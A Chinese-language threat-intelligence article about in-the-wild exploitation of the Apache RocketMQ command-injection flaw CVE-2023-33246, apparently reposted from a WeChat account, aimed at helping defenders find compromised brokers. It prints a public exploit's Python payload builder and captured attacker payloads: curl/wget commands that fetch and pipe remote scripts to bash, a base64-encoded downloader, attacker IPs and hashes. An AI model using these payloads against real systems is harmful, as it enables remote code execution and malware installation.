CVE-2023-33246是一个影响 Apache RocketMQ的易于利用的漏洞。该漏洞允许未经身份验证的远程攻击者更新 RocketMQ 代理配置以滥用命令注入。Juniper Networks报告称,自 2023 年 6 月以来,该问题的利用一直在持续。
通过对 RocketMQ 代理端口(默认为 10909 和 10911)的自定义远程协议进行利用。值得注意的是,Shodan 或 Censys 都没有专门检测此协议。Shodan 在索引这些端口方面做得特别糟糕。这使得很难确定易受攻击的系统的实际范围。
幸运的是,Censys 可以为我们提供一些见解。通过搜索公开 tcp/9876(RocketMQ 名称服务器)和默认代理端口之一(tcp/10909 和 tcp/10911)的主机,我们发现大约4500 个可能受影响的系统。然而,系统极端集中在一个国家确实让人怀疑其中有多少可能是蜜罐。
RocketMQ 代理从来就不应该暴露在互联网上。该界面在设计上并不安全,并且提供了多种管理功能。更新代理配置只是这些功能之一。另一种对防御者有用的方法是免费下载代理配置,无需身份验证。
当攻击者使用恶意“rocketmqHome”变量更新代理配置时,攻击者有效负载不会立即执行。相反,有效负载被写入配置文件中。几秒钟后,进程解析配置,并执行包含恶意变量的 shell 命令,从而导致攻击者代码执行。重要的是,除非他们覆盖它,否则攻击者有效负载将无限期地保留在配置中。
如果您了解该协议,则可以很容易地下载配置文件,以便您可以检查它是否存在妥协迹象。查看一些公开的漏洞,例如XDB-b486dcf3f31d,您可以看到一些攻击者只是向受害者投掷十六进制斑点。
if '__main__' == __name__:
ip = sys.argv[1]
port = int(sys.argv[2])
command = ' '.join(sys.argv[3:]).strip()
hex_payload_prefix = '000000cd000000607b22636f6465223a32352c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a302c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3339357d66696c7465725365727665724e756d733d310a726f636b65746d71486f6d653d2d632024407c7368202e206563686f20'
hex_payload_suffix = '3b0a'
payload = bytes.fromhex(hex_payload_prefix) + command.encode() + bytes.fromhex(hex_payload_suffix)
hex_payload_length = hex(len(payload) - 4)[2:]
payload = payload.hex().replace('000000cd000000','000000' + hex_payload_length + '000000')
payload = bytes.fromhex(payload)
基于该漏洞,使用该脚本的攻击者类型似乎不了解将有效负载携带到配置文件中的底层协议。他们不知道任何人都可以下载配置文件并检查有效负载。
使用我们的go-exploit框架,我们编写了一个工具,可以下载 RocketMQ 代理配置文件并提取易受攻击的rocketmqHome变量。该工具可在GitHub上找到,可用于快速寻找被利用的 RocketMQ 系统。
有多种方法可以提供任何 go-exploit 二进制“目标”,但扫描许多主机的最简单方法是使用该-rhosts-file选项。下面是一个例子:
albinolobster/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts-file /tmp/rocketmq.csv -log-json true 2>/dev/null | jq 'select(.msg == "Extracted the variable")' :~
{
"time": "2023-08-31T13:45:35.781849255-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- x.x.x.x/rm.sh)|bash;",
"host": "x.x.x.x",
"port": 10909
}
{
"time": "2023-08-31T13:45:39.420484976-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- 45.15.158.124/rm.sh)|bash;",
"host": "x.x.x.x",
"port": 10909
}
通过扫描可能受影响的系统,我们发现了各种恶意负载。应该指出的是,攻击者很容易用rocketmqHome良性值覆盖他们的恶意内容,因此我们捕获的攻击者并不是最好的。无论如何,以下是有趣的有效负载、相关地址和恶意软件哈希的一小部分样本。
利用有效负载
"rocketmqHome": "-c $@|sh . echo curl http://x.x.x.x:8888/shc | tee /tmp/shc;",
"rocketmqHome": "-c $@|sh . echo curl --output gr http://x.x.x.x/bins/x86; chmod 777 *; ./gr apache.x86;",
"rocketmqHome": "-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- x.x.x.x/rm.sh)|bash;",
"rocketmqHome": "-c $@|sh . echo echo "a2VybmVsPSQodW5hbWUgLWEpCmlmIFtbICRrZXJuZWwgPT0gKiJhbWQ2NCIqIF1dIHx8IFtbICRrZXJuZWwgPT0gKiJ4ODZfNjQiKiBdXTsgdGhlbgogICAgZG93bmxvYWRlcj1odHRwOi8vYWNmLXByb2R1Y2FvLnMzLmFtYXpvbmF3cy5jb20vcWZpcG5yZ2t1eGFlagplbGlmIFtbICRrZXJuZWwgPT0gKiJpMzg2IiogXV0gfHwgW1sgJGtlcm5lbCA9PSAqImk2ODYiKiBdXTsgdGhlbgogICAgZG93bmxvYWRlcj1odHRwOi8vYXNobGV5aHViLnMzLmFtYXpvbmF3cy5jb20vd2piZ3NveGhwdnJteQplbGlmIFtbICRrZXJuZWwgPT0gKiJhcm0iKiBdXTsgdGhlbgogICAgZG93bmxvYWRlcj1odHRwOi8vYWFhZHV0eXYxLnMzLmFtYXpvbmF3cy5jb20vcHdrb2RpeWxhaG51dgplbHNlCiAgICBkb3dubG9hZGVyPWh0dHA6Ly9icmF6aWxmb3VuZGF0aW9uLWFzc2V0cy5zMy5hbWF6b25hd3MuY29tL2pubGJldGNvcnFwaGcKZmkKZWNobyAyODk3MTY0MjcgPiAvdG1wLzAKY3VybCAtbyAvdG1wLzEyMyAkZG93bmxvYWRlcgpjaG1vZCAreCAvdG1wLzEyMwpzaCAtYyAvdG1wLzEyMwo="|base64 -d|bash -i;",
"rocketmqHome": "-c $@|sh . echo reboot;",
关联的攻击者 IP 地址
103.85.25.121
94.156.6.110
45.15.158.124
134.209.58.230
acf-producao.s3.amazonaws.com
ashleyhub.s3.amazonaws.com
aaadutyv1.s3.amazonaws.com
brazilfoundation-assets.s3.amazonaws.com
哈希值
1d489a41395be76a8101c2e1eba383253a291f4e84a9da389c6b58913786b8ac
d7843904e1c25055e14cae8b44b28f9dd4706c0ad8b03f55dfcded36ce8423a0
4feb3dcfe57e3b112568ddd1897b68aeb134ef8addd27b660530442ea1e49cbb
f93e9bc9583058d82d2d3fe35117cbb9a553d54e7149846b2dc94446f0836201
49062378ab3e4a0d78c6db662efb4dbc680808fb75834b4674809bc8903adaea
结论
据我们所知,CVE-2023-33246 仅与一个僵尸网络相关。然而,很明显至少有一些活跃的参与者,甚至更多的受害者。这是从互联网上删除 RocketMQ 实例并检查代理配置是否存在被利用迹象的好机会。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):在野 Apache RocketMQ CVE-2023-33246 利用捕获